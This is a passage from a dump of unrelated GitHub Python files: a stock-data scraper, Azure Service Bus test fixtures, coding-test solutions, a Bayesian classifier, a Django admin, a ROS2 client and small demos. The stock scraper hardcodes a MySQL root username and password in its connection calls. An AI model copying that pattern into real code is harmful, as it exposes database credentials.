ts.guba_sina().to_sql('guba_sina',engine,if_exists='append')\r\nprint('guba_sina')\r\n# ts.get_notices().to_sql('notices',engine,if_exists='append')\r\nprint('notices')\r\nts.get_latest_news().to_sql('latest_news', engine, if_exists='append')\r\nprint('latest_news')\r\n\r\n# save all stock to mysql\r\n# open high close low volume p_change\r\n# conn = pymysql.connect('localhost','root','caicai520','quantist')\r\n# cursor = conn.cursor()\r\n# cursor.execute(\"select distinct good1 from t_good limit 5\")\r\n# cursor.execute(\"select distinct code from today_all limit 10\");\r\nstocks = pd.read_sql_query('select distinct code from today_all', engine)\r\nprint(\"----------------------\")\r\n\r\n\r\n@retry(tries=10, delay=3)\r\ndef save_all_stock():\r\n n = 0\r\n open = []\r\n high = []\r\n close = []\r\n low = []\r\n volume = []\r\n change = []\r\n for stock in stocks['code']:\r\n # stock = list(stock)[0]\r\n # print(stock)\r\n s = ts.get_hist_data(stock)\r\n print(\"***********************\")\r\n # open = s['open']\r\n # high = s['high']\r\n close = s['close']\r\n # low = s['low']\r\n # volume = s['volume']\r\n change = s['p_change']\r\n # t_stock = {'open':open,'high':high,'close':close,'low':low,'volume':volume,'change':change}\r\n t_stock = {'close': close, 'change': change}\r\n s_stock = pd.DataFrame(data=t_stock)\r\n # print(\"ok,,,,,,,\")\r\n # time.sleep(5)\r\n s_stock.to_sql(\"t_\" + stock, engine, if_exists='append')\r\n n += 1;\r\n print(\"t_\" + stock + \"--\" + str(n))\r\n\r\n\r\nsave_all_stock()\r\n# conn.close()\r\n\r\n\r\n# get analysis1 to mysql\r\n# the diffirent between conn and engine\r\nconn = pymysql.connect('localhost', 'root', 'caicai520', 'quantist')\r\ncursor = conn.cursor()\r\n\r\ncursor.execute(\"select distinct code from t_good\")\r\nt_sh = ts.get_hist_data('sh')\r\n# t_sh_change20 = t_sh['p_change'][0:30]\r\nt_sh_change60 = t_sh['p_change'][0:60]\r\n\r\nt = [10, 20, 60, 120, 180, 240]\r\n\r\n\r\n@retry(tries=10, delay=3)\r\ndef get_corr_with_sh():\r\n n = 0\r\n code = []\r\n sum = []\r\n max = []\r\n time = []\r\n corr10 = []\r\n corr20 = []\r\n corr60 = []\r\n corr120 = []\r\n corr180 = []\r\n corr240 = []\r\n\r\n for stock in cursor.fetchall()[0:3]:\r\n stock = list(stock)[0]\r\n stock_change = ts.get_hist_data(stock)['p_change']\r\n s60 = stock_change[0:60]\r\n\r\n code.append(stock)\r\n sum.append(s60.sum())\r\n max.append(s60.max())\r\n time.append(datetime.datetime.now().strftime(\"%Y-%m-%d\"))\r\n\r\n corr60.append(t_sh_change60.corr(s60))\r\n corr10.append(t_sh_change60.corr(stock_change[0:10]))\r\n corr20.append(t_sh_change60.corr(stock_change[0:20]))\r\n corr120.append(t_sh_change60.corr(stock_change[0:120]))\r\n corr180.append(t_sh_change60.corr(stock_change[0:180]))\r\n corr240.append(t_sh_change60.corr(stock_change[0:240]))\r\n\r\n n += 1\r\n print(stock + \"--\" + str(n))\r\n\r\n analysis1 = {\"code\": code, \"sum\": sum, \"max\": max, \"time\": time, \"corr10\": corr10\r\n , \"corr20\": corr20, \"corr120\": corr120, \"corr180\": corr180, \"corr60\": corr60,\r\n \"corr240\": corr240}\r\n\r\n t_analysis1 = pd.DataFrame(data=analysis1)\r\n print(analysis1)\r\n t_analysis1.to_sql(\"t_analysis1\", engine, flavor='mysql', if_exists='append')\r\n\r\n\r\nget_corr_with_sh()\r\n\r\nconn.close()\r\n","repo_name":"pan-cai/stocks","sub_path":"app/core/data/save_data_example.py","file_name":"save_data_example.py","file_ext":"py","file_size_in_byte":5247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29351947417","text":"from unittest import mock\n\nfrom azure.identity.aio import DefaultAzureCredential\nfrom azure.servicebus.aio import ServiceBusClient\nimport pytest\n\nfrom boilermaker import config, service_bus\n\n\n@pytest.fixture(scope=\"session\")\ndef monkeysession():\n with pytest.MonkeyPatch.context() as mp:\n yield mp\n\n\ndef make_async_ctx_mgr(mock_thing):\n something = mock_thing\n\n class WithAsyncContextManager:\n def __getattr__(self, key):\n return getattr(something, key)\n\n async def __aenter__(self, *args, **kwargs):\n return something\n\n async def __aexit__(self, *args, **kwargs):\n pass\n\n return WithAsyncContextManager()\n\n\n@pytest.fixture(autouse=True)\ndef mockservicebus(monkeysession): # type: ignore\n \"\"\"Mock out Azure Blob Service client\"\"\"\n mocksb = mock.MagicMock(ServiceBusClient)\n\n # Receiver client\n receiver_client = mock.AsyncMock()\n ctx_receiver = make_async_ctx_mgr(receiver_client)\n mocksb.get_queue_receiver = mock.PropertyMock(return_value=ctx_receiver)\n # Sender client reuse mocksb\n sender_client = mock.AsyncMock()\n ctx_sender = make_async_ctx_mgr(sender_client)\n mocksb.get_queue_sender = mock.PropertyMock(return_value=ctx_sender)\n\n def get_client(*args, **kwargs):\n # Wrap it up so it can be used as a context manager\n return make_async_ctx_mgr(mocksb)\n\n monkeysession.setattr(\n service_bus,\n \"ServiceBusClient\",\n get_client,\n )\n mocksb._receiver = receiver_client\n mocksb._sender = sender_client\n\n return mocksb\n\n\n@pytest.fixture\ndef fake_config():\n return config.Config(\n service_bus_namespace_url=\"https://example.mulligancloud.com\",\n service_bus_queue_name=\"fake-queue-name\",\n service_bus_credential=mock.AsyncMock(DefaultAzureCredential) # fake credential\n )\n\n\n@pytest.fixture()\ndef sbus(mockservicebus, fake_config):\n return service_bus.AzureServiceBus(fake_config)\n","repo_name":"MulliganFunding/boilermaker-servicebus","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25042874012","text":"# https://www.acmicpc.net/problem/10818\n# 최소, 최대\n\nN = int(input())\nnums = list(map(int, input().split()))\n\nprint(min(nums), max(nums))\n\n\n# https://www.acmicpc.net/problem/10869\n# 사칙연산 \n\nA, B = map(int, input().split())\n\nprint(A+B)\nprint(A-B)\nprint(A*B)\nprint(A//B)\nprint(A%B)\n\n\n# https://www.acmicpc.net/problem/10871\n# X보다 작은 수\n\nN, X = map(int, input().split())\nA = list(map(int, input().split()))\n\nfor num in A:\n if num < X:\n print(num, end=\" \")\n\n\n# https://programmers.co.kr/learn/courses/30/lessons/12922\n# 수박수박수박수박수박수?\n\n# 예전 풀이\ndef solution(n):\n answer = '수박'*(n//2) + '수'*(n%2)\n return answer\n\n# 이번 풀이\ndef solution(n):\n answer = '수박'*(n//2)\n return answer if n%2 == 0 else answer+'수'\n\n\n# https://programmers.co.kr/learn/courses/30/lessons/12921\n# 소수 찾기\n\n# 예전 풀이\ndef solution(n):\n answer = 0\n isPrime = [True for _ in range(n+1)]\n isPrime[0], isPrime[1] = False, False\n \n for i in range(len(isPrime)):\n if isPrime[i] == True:\n answer += 1\n for j in range(2, len(isPrime)):\n if i*j > len(isPrime)-1:\n break\n isPrime[i*j] = False\n\n \n return answer\n\n# 이번 풀이\n# 단순 2중 for문 돌면 시간 초과\ndef solution(n):\n answer = 0\n is_prime = [True for _ in range(n+1)]\n is_prime[0] = is_prime[1] = False\n for i in range(2, n+1):\n if is_prime[i] == True:\n answer += 1\n for j in range(2, n//i+1):\n is_prime[i*j] = False\n\n return answer","repo_name":"hmkim199/PrepareCodingTest","sub_path":"Baekjoon/Practice10818.py","file_name":"Practice10818.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39696119021","text":"# https://gist.github.com/tuttelikz/94f750ef3bf14f8a126a\nimport sys\nimport operator\nclass ClassificadorBayesiano:\n def __init__(self):\n self.x_cabecalho = []\n self.x_dataset = []\n self.x_questions = []\n self.x_dictionary = {}\n self.x_dict_result = {}\n self.x_total_lines = None\n\n def printarResultados(self, p_line_counter):\n x_texto = \"\"\n for x_indice in range(len(self.x_cabecalho)):\n if self.x_cabecalho[x_indice] == self.x_cabecalho[-2]:\n x_texto = x_texto + self.x_cabecalho[x_indice] + '=' + str(self.x_questions[p_line_counter][x_indice]) + ' ==> '\n elif self.x_cabecalho[x_indice] == self.x_cabecalho[-1]:\n x_texto = x_texto + self.x_cabecalho[x_indice] + '=' + max(self.x_dict_result.items(), key=operator.itemgetter(1))[0] + ' '\n for x_in_dict_result, x_valor in self.x_dict_result.items():\n for x_column_dict_result in range(len(self.x_dict_result[x_in_dict_result])):\n x_texto = x_texto + ' ' + x_in_dict_result + '=' + '%.4f' % x_valor[x_column_dict_result] + ';'\n else:\n x_texto = x_texto + self.x_cabecalho[x_indice] + '=' + str(self.x_questions[p_line_counter][x_indice]) + ', '\n print(x_texto)\n\n def processarDataSet(self):\n self.x_total_lines = len(self.x_dataset)\n\n for i in range(len(self.x_dataset)):\n x_linha = self.x_dataset[i]\n if (x_linha[-1] not in self.x_dictionary):\n self.x_dictionary[x_linha[-1]] = []\n self.x_dictionary[x_linha[-1]].append(x_linha)\n \n for x_counter_line_questions in range(len(self.x_questions)):\n x_results = []\n for x_index in self.x_dictionary:\n self.x_dict_result[x_index] = []\n x_produtorio = float(len(self.x_dictionary[x_index])) / float(self.x_total_lines)\n for x_counter_column in range(len(self.x_cabecalho)):\n if self.x_questions[x_counter_line_questions][x_counter_column] == '?':\n pass\n else:\n x_somatorio = 0.0\n for x_counter_line_dict in range(len(self.x_dictionary[x_index])):\n if (self.x_questions[x_counter_line_questions][x_counter_column] == self.x_dictionary[x_index][x_counter_line_dict][x_counter_column]):\n x_somatorio = x_somatorio + 1.0\n x_porcentagem = x_somatorio / float(len(self.x_dictionary[x_index]))\n x_produtorio = x_produtorio * x_porcentagem\n self.x_dict_result[x_index].append(x_produtorio)\n self.printarResultados(x_counter_line_questions)\n \n def lerArquivo(self):\n # open file\n x_filename = sys.argv[1]\n x_file = open(x_filename, \"r\")\n self.x_cabecalho = x_file.readline().replace('\\n', '').split(' ')\n \n for lines in x_file:\n x_replace = lines.replace('\\n', '')\n if x_replace == '---':\n break\n self.x_dataset.append(x_replace.split(' '))\n\n for lines in x_file:\n x_replace = lines.replace('\\n', '')\n self.x_questions.append(x_replace.split(' '))\n x_file.close()\n \n self.processarDataSet()\n def main(self):\n\n # abrir/ler arquivo e criar dataset\n self.lerArquivo()\nClassificadorBayesiano().main()\n","repo_name":"cleberOliva/bayesiano","sub_path":"classifierBayesiano.py","file_name":"classifierBayesiano.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15407094952","text":"from abstractclasses.AbstractForwardModel import AbstractForwardModel\nfrom abstractclasses.AbstractGameState import AbstractGameState, GridGameState\nimport numpy as np\nfrom sklearn import preprocessing\nfrom typing import Union, List\n\n\nclass ModelContainer(AbstractForwardModel):\n\n def __init__(self, classifier_list, pattern_extractor_list, observations):\n super().__init__()\n self._pattern_extractors = pattern_extractor_list\n self._classifier_list = classifier_list\n\n self._is_trained = False\n self._use_unique_values = True\n self._data_set = [np.chararray((0, pe.get_num_elements() + 2)) for pe in pattern_extractor_list]\n\n self.possibleObservations = observations\n self.featureEncoder = preprocessing.LabelEncoder()\n self.featureEncoder.fit(self.possibleObservations)\n\n def fit(self):\n if self._data_set.dtype != np.dtype('int64'):\n transformed = self.featureEncoder.transform(self._data_set.flatten())\n transformed = transformed.reshape(self._data_set.shape)\n for classifier in self._classifier_list:\n classifier.fit(transformed[:, :-1], transformed[:, -1])\n else:\n for classifier in self._classifier_list:\n classifier.fit(self._data_set[:, :-1], self._data_set[:, -1])\n self._is_trained = True\n pass\n\n def predict(self, game_state: Union[AbstractGameState, GridGameState], action=None):\n if action is None:\n results = {}\n for action in game_state.get_actions():\n results[action] = self._predict_action(game_state, action)\n return results\n else:\n return self._predict_action(game_state, action)\n\n def _predict_action(self, game_state: GridGameState, action) -> List[np.ndarray]:\n predictions = []\n\n testing_data = self._pattern_extractor.get_all_patterns(game_state, action)\n\n if testing_data.dtype == np.dtype('int64'):\n return self.predict(testing_data)\n else:\n transformed = self.featureEncoder.transform(testing_data.flatten())\n transformed = transformed.reshape(testing_data.shape)\n\n for classifier in self._classifier_list:\n prediction = classifier.predict(transformed)\n predictions.append(self.featureEncoder.inverse_transform(prediction))\n return predictions\n\n def predict_n_steps(self, game_state: AbstractGameState, action_list):\n raise Exception()\n\n def add_transition(self, previous_game_state: GridGameState, action, game_state: GridGameState):\n for idx, pe in enumerate(self._pattern_extractors):\n new_train_data = pe.get_all_patterns(previous_game_state, action, game_state)\n if self._use_unique_values:\n unique = np.unique(new_train_data, axis=0)\n self._data_set[idx] = np.unique(np.concatenate((unique, self._data_set[idx])), axis=0)\n else:\n self._data_set[idx] = np.concatenate((new_train_data, self._data_set[idx]))\n\n def get_data_set(self):\n return self._data_set\n\n def get_models(self):\n return self._classifier_list\n\n def get_pattern_extractor(self):\n return self._pattern_extractors\n\n def is_trained(self):\n return self._is_trained\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"ADockhorn/ForwardModelLearningDissertation","sub_path":"models/modelcontainer.py","file_name":"modelcontainer.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36505569263","text":"#!/usr/bin/env python3\nimport rclpy\nfrom rclpy.node import Node\nfrom example_interfaces.srv import AddTwoInts\n\n\ndef main(args=None):\n rclpy.init(args=args)\n node = Node('add_two_ints_no_oop')\n\n client = node.create_client(AddTwoInts, 'add_two_ints')\n\n # Perform a wait for service, with a 1 second timeout\n # This will loop every second until service is found, each loop \n # without service will print the warning message.\n while not client.wait_for_service(1.0):\n node.get_logger().warn('Waiting for Server Add Two Ints')\n\n request = AddTwoInts.Request()\n request.a = 3\n request.b = 8\n\n # Future objects are objects where their value will be set later\n future = client.call_async(request)\n\n # This will take care of spinning until the Future is complete\n rclpy.spin_until_future_complete(node, future)\n\n try:\n response = future.result()\n node.get_logger().info(f'{request.a} + {request.b} = {response.sum}')\n except Exception as e:\n node.get_logger().error(f'Service call failed {e}')\n\n rclpy.shutdown()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jodle001/ros2_ws_tutorial","sub_path":"src/my_py_pkg/my_py_pkg/add_two_ints_client_no_oop.py","file_name":"add_two_ints_client_no_oop.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28732257368","text":"import os\nimport random\n\"\"\"\nThis is a small program that accepts two raw files in source and target language and\n split them into training, dev, and test sets while maintaining sentence alignment.\n\"\"\"\n\n\n#open file streams and read the raw files here\ndirectory = '/home/hyperion/corpus/run2/PPAP/'\nenglish_file = open((directory + '/raw2.en'),'r',)\nceb_file = open((directory + '/raw2.ceb'),'r',)\n\nenglish_lines = english_file.readlines()\nceb_lines = ceb_file.readlines()\n\n#sample and extract the dev set here\nsample_size = 250\ndev_file_prefix = '/home/hyperion/corpus/run2/dev2'\ndev_en_filestream = open((dev_file_prefix+'.en'),'w',)\ndev_lines_en = []\ndev_ceb_filestream = open((dev_file_prefix+'.ceb'),'w',)\ndev_lines_ceb = []\n\nfor i in range(0,sample_size):\n sample_index = random.randrange(0,ceb_lines.__len__())\n print(\"Removing: \\n\"+english_lines[sample_index],ceb_lines[sample_index])\n dev_lines_en.append(english_lines.pop(sample_index))\n dev_lines_ceb.append(ceb_lines.pop(sample_index))\n\ndev_en_filestream.writelines(dev_lines_en)\ndev_en_filestream.close()\ndev_ceb_filestream.writelines(dev_lines_ceb)\ndev_ceb_filestream.close()\n\n\n#sample and extract the test set here\nsample_size = 250\ntest_file_prefix = '/home/hyperion/corpus/run2/testing2'\ntest_en_filestream = open((test_file_prefix+'.en'),'w',)\ntest_lines_en = []\ntest_ceb_filestream = open((test_file_prefix+'.ceb'),'w',)\ntest_lines_ceb = []\n\nfor i in range(0,sample_size):\n sample_index = random.randrange(0,ceb_lines.__len__())\n print(\"Removing: \\n\"+english_lines[sample_index],ceb_lines[sample_index])\n test_lines_en.append(english_lines.pop(sample_index))\n test_lines_ceb.append(ceb_lines.pop(sample_index))\n\ntest_en_filestream.writelines(test_lines_en)\ntest_en_filestream.close()\ntest_ceb_filestream.writelines(test_lines_ceb)\ntest_ceb_filestream.close()\n\n#all remaining sentences are to be used for training\ntraining_file_prefix = '/home/hyperion/corpus/run2/training2'\ntraining_en_filestream = open((training_file_prefix+'.en'),'w',)\ntraining_ceb_filestream = open((training_file_prefix+'.ceb'),'w',)\n\ntraining_en_filestream.writelines(english_lines)\ntraining_en_filestream.close()\ntraining_ceb_filestream.writelines(ceb_lines)\ntraining_ceb_filestream.close()\n","repo_name":"ri0452384/PROJECTS","sub_path":"corpus_splitter.py","file_name":"corpus_splitter.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23624975071","text":"#!/usr/bin/python\n\n\ndef cread(fd):\n return fd.readline().strip('\\n')\n\ndef mean(x):\n t = 0.0\n n = 0\n for v in x:\n if v is not None:\n t += v\n n += 1\n if n==0:\n return None\n else:\n return t/n\n \n\ndef calc_wp(team):\n \"\"\"\n Calculate the WP of a string\n \"\"\"\n wp = 0.0\n NP = 0\n for c in team:\n if c==\"1\":\n wp += 1.0\n\n if c!=\".\":\n NP += 1\n if NP==0:\n return None\n else:\n return wp/NP\n\ndef calc_all_wp(match):\n return [ calc_wp(team) for team in match ]\n\n\ndef calc_owpj(team, j):\n # Maybe we just do not play against it\n if team[j]==\".\":\n return None\n\n # Remove the match of team j\n team = team[:j] + team[j+1:]\n return calc_wp(team)\n\ndef calc_all_owp(N, match):\n owp = [None]*N\n\n for i in xrange(N):\n # First calculate the OWPj of all the teams\n owpj = [ calc_owpj(match[k], i) for k in xrange(N) if k!=i ]\n for j in xrange(N-1):\n if j<i:\n k = j\n else:\n k = j+1\n # Now calculate the mean\n owp[i] = mean(owpj)\n return owp\n\ndef calc_all_oowp(N, match, owp):\n oowp = [None]*N\n for i in xrange(N):\n oth = [ owp[k] for k in xrange(N) if k!=i and match[i][k]!=\".\" ]\n oowp[i] = mean(oth)\n# print(\"oowp[%d] = mean(%s) = \" %(i, str(oth)) + str(oowp[i]))\n return oowp\n \n\ndef solve(fd):\n \"\"\"\n Read the matrix\n \"\"\"\n\n # Number of teams\n N = int(cread(fd))\n\n # Now read N lines\n match = [None]*N\n for i in xrange(N):\n match[i] = cread(fd)\n\n # Now calculate the WP\n WP = calc_all_wp(match)\n# print(\"WP=\" + str(WP))\n\n # Now the OWP\n OWP = calc_all_owp(N, match)\n# print(\"OWP=\" + str(OWP))\n\n # And finally the OOWP\n OOWP = calc_all_oowp(N, match, OWP)\n# print(\"OOWP=\" + str(OOWP))\n\n # With this apply the equation\n RPI = [None]*N\n for i in xrange(N):\n RPI[i] = 0.25 * WP[i] + 0.50 * OWP[i] + 0.25 * OOWP[i]\n \n return RPI\n\n\n\nimport sys\n\nif len(sys.argv)<2:\n fd = sys.stdin\nelse:\n fd = open(sys.argv[1], 'r')\n\nT = int(cread(fd))\n\nfor i in xrange(T):\n print(\"Case #%d:\" % (i+1))\n RPI = solve(fd)\n for rpi in RPI:\n print(\"%.10f\" % rpi)\n \nfd.close()\n \n \n \n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_81/315.py","file_name":"315.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18833729993","text":"from config.config import MainConfig\nfrom interfaces import CryptoExchangeProtocol, MarketDataProtocol, StrategyProtocol\nfrom position_manager.position_manager import PositionManager\nfrom position_manager.trade_executor import TradeExecutor\nfrom signals.signal_engine import SignalEngine\nfrom signals.signal_processor import SignalProcessor\n\n\ndef trading_bot_builder(\n config: MainConfig,\n strategies: list[StrategyProtocol],\n market_data_provider: MarketDataProtocol,\n crypto_exchange: CryptoExchangeProtocol | None = None,\n) -> SignalProcessor:\n engine = SignalEngine(\n config=config,\n strategies=strategies,\n )\n\n position_manager = PositionManager(\n config=config,\n trade_executor=TradeExecutor(config=config, crypto_exchange=crypto_exchange),\n )\n\n return SignalProcessor(\n config=config,\n signal_engine=engine,\n market_data=market_data_provider,\n position_manager=position_manager,\n )\n","repo_name":"Floris/TradingBot","sub_path":"app/bot/trading_bot_builder.py","file_name":"trading_bot_builder.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2558465904","text":"\nfrom math import sin, cos\nfrom operator import add, sub, truediv, mul\n\nfrom lepl import Node, Token, UnsignedFloat, Delayed, Or, Eos\nfrom lepl._example.support import Example\n\n\nclass Calculator(Example):\n '''\n Show how tokens can help simplify parsing of an expression; also\n give a simple interpreter.\n '''\n \n def test_calculation(self):\n '''\n We could do evaluation directly in the parser actions. but by\n using the nodes instead we allow future expansion into a full\n interpreter.\n '''\n \n # pylint: disable-msg=C0111, C0321\n class BinaryExpression(Node):\n op = lambda x, y: None\n def __float__(self):\n return self.op(float(self[0]), float(self[1]))\n \n class Sum(BinaryExpression): op = add\n class Difference(BinaryExpression): op = sub\n class Product(BinaryExpression): op = mul\n class Ratio(BinaryExpression): op = truediv\n \n class Call(Node):\n funs = {'sin': sin,\n 'cos': cos}\n def __float__(self):\n return self.funs[self[0]](self[1])\n \n # we use unsigned float then handle negative values explicitly;\n # this lets us handle the ambiguity between subtraction and\n # negation which requires context (not available to the the lexer)\n # to resolve correctly.\n number = Token(UnsignedFloat())\n name = Token('[a-z]+')\n symbol = Token('[^a-zA-Z0-9\\\\. ]')\n \n expr = Delayed()\n factor = Delayed()\n \n float_ = Or(number >> float,\n ~symbol('-') & number >> (lambda x: -float(x)))\n \n open_ = ~symbol('(')\n close = ~symbol(')')\n trig = name(Or('sin', 'cos'))\n call = trig & open_ & expr & close > Call\n parens = open_ & expr & close\n value = parens | call | float_\n \n ratio = value & ~symbol('/') & factor > Ratio\n prod = value & ~symbol('*') & factor > Product\n factor += prod | ratio | value\n \n diff = factor & ~symbol('-') & expr > Difference\n sum_ = factor & ~symbol('+') & expr > Sum\n expr += sum_ | diff | factor | value\n \n line = expr & Eos()\n parser = line.get_parse()\n \n def calculate(text):\n return float(parser(text)[0])\n \n self.examples([(lambda: calculate('1'), '1.0'),\n (lambda: calculate('1 + 2*3'), '7.0'),\n (lambda: calculate('-1 - 4 / (3 - 1)'), '-3.0'),\n (lambda: calculate('1 -4 / (3 -1)'), '-1.0'),\n (lambda: calculate('1 + 2*sin(3+ 4) - 5'), \n '-2.68602680256')])\n","repo_name":"willtang/lyx2ebook","sub_path":"src/lepl/lexer/_example/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"2821609902","text":"from db.models import Item\n\n\nclass ShopUnitView:\n def __init__(self, item: Item):\n self.id = item.id\n self.name = item.name\n self.date = item.date\n self.parentId = item.parentId\n self.type = item.type\n self.price = item.price\n self.children = [ShopUnitView(x) for x in item.children]\n","repo_name":"sergey-png/yandex_backend_enroll","sub_path":"db/viewshopunit.py","file_name":"viewshopunit.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"667842514","text":"from django.contrib import admin\n\n# Register your models here.\n# -*- coding: utf-8 -*-\n\nfrom .models import Good, Need, City, Author\nfrom django.utils.safestring import mark_safe\n\n\nclass CityAdmin(admin.ModelAdmin):\n list_display = ['id', 'name', 'enabled']\n model = City\n\n def change_view(self, request, object_id, extra_context=None):\n extra_context = extra_context or {}\n extra_context['object_id'] = object_id\n print(\"object id = \" + object_id)\n extra_context['type'] = 'city'\n extra_context['publish_url'] = '/fps/publish'\n return super(CityAdmin, self).change_view(request, object_id,\n extra_context=extra_context)\n\n class Media:\n js = [\n 'js/csrf.js',\n 'jquery/jquery.min.js',\n ]\n\n\nclass GoodInLine(admin.TabularInline):\n # can_delete = False\n can_delete = True\n\n def has_add_permission(self, request):\n return False\n\n def get_readonly_fields(self, request, obj=None):\n return ['name', 'status', 'price', 'create_time']\n\n model = Good\n extra = 1\n fields = ('name', 'status', 'price', 'create_time')\n # readonly_fields = ['name', 'status_type', 'price', 'create_time']\n\n\nclass NeedInLine(admin.TabularInline):\n\n # can_delete = False\n can_delete = True\n\n def has_add_permission(self, request):\n return False\n\n def get_readonly_fields(self, request, obj=None):\n return ['name', 'status', 'price', 'create_time']\n\n model = Need\n extra = 1\n fields = ('name', 'status', 'price', 'create_time')\n # readonly_fields = ['name', 'status_type', 'price', 'create_time']\n\n\nclass GoodAdmin(admin.ModelAdmin):\n\n # can_delete = False\n can_delete = True\n\n verbose_name = \"\"\n verbose_name_plural = \"\"\n\n list_display = ['id', 'name', 'price', \"user_nickname\", 'is_verify', 'get_status', 'create_time']\n readonly_fields = ['city', 'id', \"user_nickname\", 'name', 'price', 'short_desc', 'phone', 'image1', 'image2', 'show_image_1', 'show_image_2',\n 'descs', 'address', 'get_status',\n 'create_time', 'time_stamp', 'author']\n list_filter = ('city__name', 'status')\n\n model = Good\n\n# def has_add_permission(self, request):\n# return False\n#\n# def has_delete_permission(self, request, obj=None):\n# return False\n\n def change_view(self, request, object_id, extra_context=None):\n extra_context = extra_context or {}\n extra_context['object_id'] = object_id\n extra_context['type'] = 'good'\n extra_context['publish_url'] = '/fps/publish'\n return super(GoodAdmin, self).change_view(request, object_id,\n extra_context=extra_context)\n\n def show_image_1(self, obj):\n try:\n img = mark_safe('<img src=\"%s\" width=\"250px\" />' % (obj.image1,))\n except Exception as e:\n img = ''\n return img\n\n def show_image_2(self, obj):\n try:\n img = mark_safe('<img src=\"%s\" width=\"250px\" />' % (obj.image2,))\n except Exception as e:\n img = ''\n return img\n\n show_image_1.short_description = 'image1'\n show_image_1.allow_tags = True\n\n show_image_2.short_description = 'image2'\n show_image_2.allow_tags = True\n\n class Media:\n js = [\n 'js/csrf.js',\n 'jquery/jquery.min.js',\n ]\n\n\nclass NeedAdmin(admin.ModelAdmin):\n list_display = ['name', 'city', 'price', 'author', \"user_nickname\", 'address', 'is_verify', 'get_status', 'create_time']\n readonly_fields = [\"user_nickname\", 'name', 'price', 'phone', 'address',\n 'descs',\n 'create_time', 'city', 'time_stamp', 'author']\n list_filter = ('city__name',)\n model = Need\n\n # def has_add_permission(self, request):\n # return False\n #\n # def has_delete_permission(self, request, obj=None):\n # return False\n\n def change_view(self, request, object_id, extra_context=None):\n extra_context = extra_context or {}\n extra_context['object_id'] = object_id\n extra_context['type'] = 'need'\n extra_context['publish_url'] = '/fps/publish'\n return super(NeedAdmin, self).change_view(request, object_id,\n extra_context=extra_context)\n\n class Media:\n js = [\n 'js/csrf.js',\n 'jquery/jquery.min.js',\n ]\n\n\nclass AuthorAdmin(admin.ModelAdmin):\n list_display = ['id', 'nickname', \"point\", 'descs', 'town', 'address', 'status', 'is_verify', 'phone', 'create_time', ]\n readonly_fields = ['id', \"nickname\", 'town', 'address', 'phone', 'create_time', 'time_stamp']\n list_filter = ('status',)\n model = Author\n inlines = [GoodInLine, NeedInLine]\n\n # def has_add_permission(self, request):\n # return False\n #\n # def has_delete_permission(self, request, obj=None):\n # return False\n\n def change_view(self, request, object_id, extra_context=None):\n extra_context = extra_context or {}\n extra_context['object_id'] = object_id\n extra_context['type'] = 'author'\n extra_context['publish_url'] = '/fps/publish'\n return super(AuthorAdmin, self).change_view(request, object_id,\n extra_context=extra_context)\n\n class Media:\n js = [\n 'js/csrf.js',\n 'jquery/jquery.min.js',\n ]\n\n\nadmin.site.register(City, CityAdmin)\nadmin.site.register(Good, GoodAdmin)\nadmin.site.register(Need, NeedAdmin)\nadmin.site.register(Author, AuthorAdmin)\n\nadmin.site.site_header = u'本地旧货header'\nadmin.site.site_title = u'本地旧货title'\n","repo_name":"miaoshihu/fpms","sub_path":"msapp/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":5800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4025172330","text":"import sys\n\nfor line in sys.stdin:\n\n k, n = map(int, line.split())\n array = [[-1]*(n+1) for i in range(k+1)]\n\n def SuperSum(k, n):\n if k == 0:\n array[0][n] = n\n return n\n \n if array[k][n] == -1:\n mysum = 0\n for i in range(1, n+1):\n mysum += SuperSum(k-1,i)\n \n array[k][n] = mysum\n return mysum\n else:\n return array[k][n]\n print(SuperSum(k,n))\n\n","repo_name":"JinleeJeong/Algorithm","sub_path":"20년 3월/1930.py","file_name":"1930.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39775761911","text":"import asyncio\n\n\ndef test(name):\n print(f\"start {name}...\")\n print(f\"end {name}...\")\n\n\nasync def main():\n # 正在执行某个任务\n loop = asyncio.get_running_loop()\n\n # 插入一个更要紧的任务\n # loop.call_later(0, callback, *args)\n task1 = loop.call_soon(test, \"task1\")\n\n # 多少秒后执行\n task2 = loop.call_later(2, test, \"task2\")\n\n # 内部时钟时间\n task3 = loop.call_at(loop.time() + 3, test, \"task3\")\n\n print(type(task1))\n print(type(task2))\n print(type(task3))\n\n # 保证loop在执行完毕后才关闭\n await asyncio.sleep(5)\n\n\nif __name__ == \"__main__\":\n import time\n start_time = time.time()\n\n asyncio.run(main())\n\n print(time.time() - 